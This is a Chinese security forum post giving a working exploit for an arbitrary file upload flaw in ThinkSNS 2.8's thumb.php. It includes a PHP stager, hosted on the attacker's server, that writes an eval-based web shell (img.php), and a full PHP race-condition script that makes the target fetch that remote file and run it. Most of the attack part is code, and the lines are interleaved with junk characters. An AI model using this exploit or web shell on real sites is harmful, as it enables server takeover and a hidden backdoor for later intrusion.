找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2330|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本0 K+ l& }0 |% |/ H- J
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)0 u& V0 s; t3 A# |/ X# \
漏洞文件
3 N. J( f9 Z6 }存在漏洞的文件为:thumb.php1 v2 G) J, O- m, A4 o* ^
作者:韦鲲鹏
4 I  K5 l: X4 E7 L; b) Q; _9 ?1、        准备如下PHP文件并上传到服务器(自己的)。
3 i8 Q# u+ j1 p/ J& r+ U% x2 J5 Z* ~文件内容如下:
% {: _, G. J* D4 ^' j# A<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>/ Y' m8 s+ |+ D) N1 }9 ~
2、        计算出临时的文件名:/ b5 l9 G* O- H$ W5 z# j
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
$ P  D" s! y: ]) A2 z$ X0 K9 O$ l7 k! l5 \/ ]
3、        上传临时文件。
0 n8 E- v6 ?: Z4、        访问临时文件。: L8 u) B% a3 |) P
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)- r. }/ [) @& o; L
Exploit文件内容如下:(这个我就不详细解释了)0 b4 G6 v, \+ P
<?php
" @9 W/ ?, D) V! {& C; n/ _error_reporting(0);
$ N- x$ G7 T3 x2 @8 o/ \: M9 y( Mset_time_limit(0);. ~! z! {5 L  r& g1 U- h; a
ini_set(“default_socket_timeout”, 5);: T6 ?5 ~1 i" U5 Q  j0 b
function http_send($host, $port, $headers) {
7 b( X9 }9 c& k. F5 A4 U$fp = fsockopen($host, $port);
+ @7 l  ]9 y& k+ [- Kif (!$fp) die(‘Connection -> fail’);5 o8 |, }% P# Y8 y
fputs($fp, $headers);; N/ m1 Q" B7 H
return $fp;3 |$ W2 x. S2 b3 D) _
}
# w8 r' e) R  [) \9 e$ B8 Y  Xfunction http_recv($fp) {+ }4 g& g/ b5 ?' i
$ret=”";! w5 i& v1 ~+ {/ `9 `+ y* i
while (!feof($fp))
0 f6 ]) r, Z2 d4 f$ret.= fgets($fp, 1024);: J1 k: r2 |: ?  }
fclose($fp);
: g: P& W. N0 M3 ?- Lreturn $ret;
) _2 d" F# x! V/ t" V2 Y) t}/ ]" J4 W$ \5 V7 @3 \5 s7 K4 x  u
print “\n#  ThinkSns Arbitrary File Upload   #\n”;3 Y% Q! O+ h6 O' o  D
print “# Discovered by 韦鲲鹏 #\n\n”;# h0 [+ x' Y2 z8 Y/ N
if ($argc < 4) {
5 b4 B: F. `5 \9 Y, V, ]* jprint “Usage:   php <host> <path> <romote_url>\n”;& q0 Y! p9 w7 N" U  J
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;6 |$ p& F, O+ p8 w( g" `
die();% S# z$ n3 e2 f0 ]0 R' l# u
}
; Q# G- c1 q5 R* v$host = $argv[1];/ _8 B8 P* u3 m! s! z! k
$path = $argv[2];
$ h1 N! t. T$ `$url = $argv[3];1 S8 O3 s8 i9 Y& U/ P. o" J
$i=0;
9 F1 ^- [6 f6 x6 `8 K7 f//上传数据包' Z( t, o" Z0 l
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;  s+ G/ b. }+ d1 C; i' y4 t
$headers_up .= “Host: “.$host.”\r\n”;! x& Q0 h$ e: p" Z
$headers_up .= “Connection: close\r\n\r\n”;, n- y+ {9 w5 ]% Q4 U
echo $headers_up;
- I5 S& P1 u5 O6 N  C//临时文件访问数据包$ d5 r* y! W3 ?- t
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
" h( ]$ D  y# b  G7 v$headers .= “Host: “.$host.”\r\n”;
: J( E5 C4 O' C  j+ Q( ^* U! W. f) j$headers .= “Connection: close\r\n\r\n”;8 x5 c! j* F( u! }) d1 c
echo $headers;
9 d! ?0 u4 Q+ h9 q8 B% M  _while(++$i<10) {
3 ~3 h/ L; B* p! ~& Pfclose(http_send($host, 80, $headers));
0 C% o+ b- k3 h- G' y}, n# u& H( e1 y6 j+ `! T  N
fclose(http_send($host, 80, $headers_up));/ h- a) B/ t* L* p+ z! \
while(++$i<50) {( I" u. `9 o* x+ N5 b
fclose(http_send($host, 80, $headers));4 c& c9 ^2 {4 c
}4 }1 Q% u+ G( u( X  w* X
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
3 J5 M" K. k' Y7 [! d3 n* C$headers .= “Host: “.$host.”\r\n”;
* ^; T2 v+ c9 w$headers .= “Connection: close\r\n\r\n”;
4 v/ t6 S- ~! e3 Q$res=http_recv(http_send($host, 80, $headers));9 t% f" R4 R6 w9 m  S% l. P
if(preg_match(‘/200 OK/’,$res)) {
( c# |: \$ U0 }6 v, H: ]print “Success!\n\n”;
4 o9 I. y. `8 y" T# F/ M* W} else {. A' R( J8 l0 Z1 ]( Y# f2 Z( K
print “Fail!\n\n”;
% L; J# |: H2 q}
3 O9 y3 D, y; [, x1 A?>+ h% v' H* z6 g3 [) i2 W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表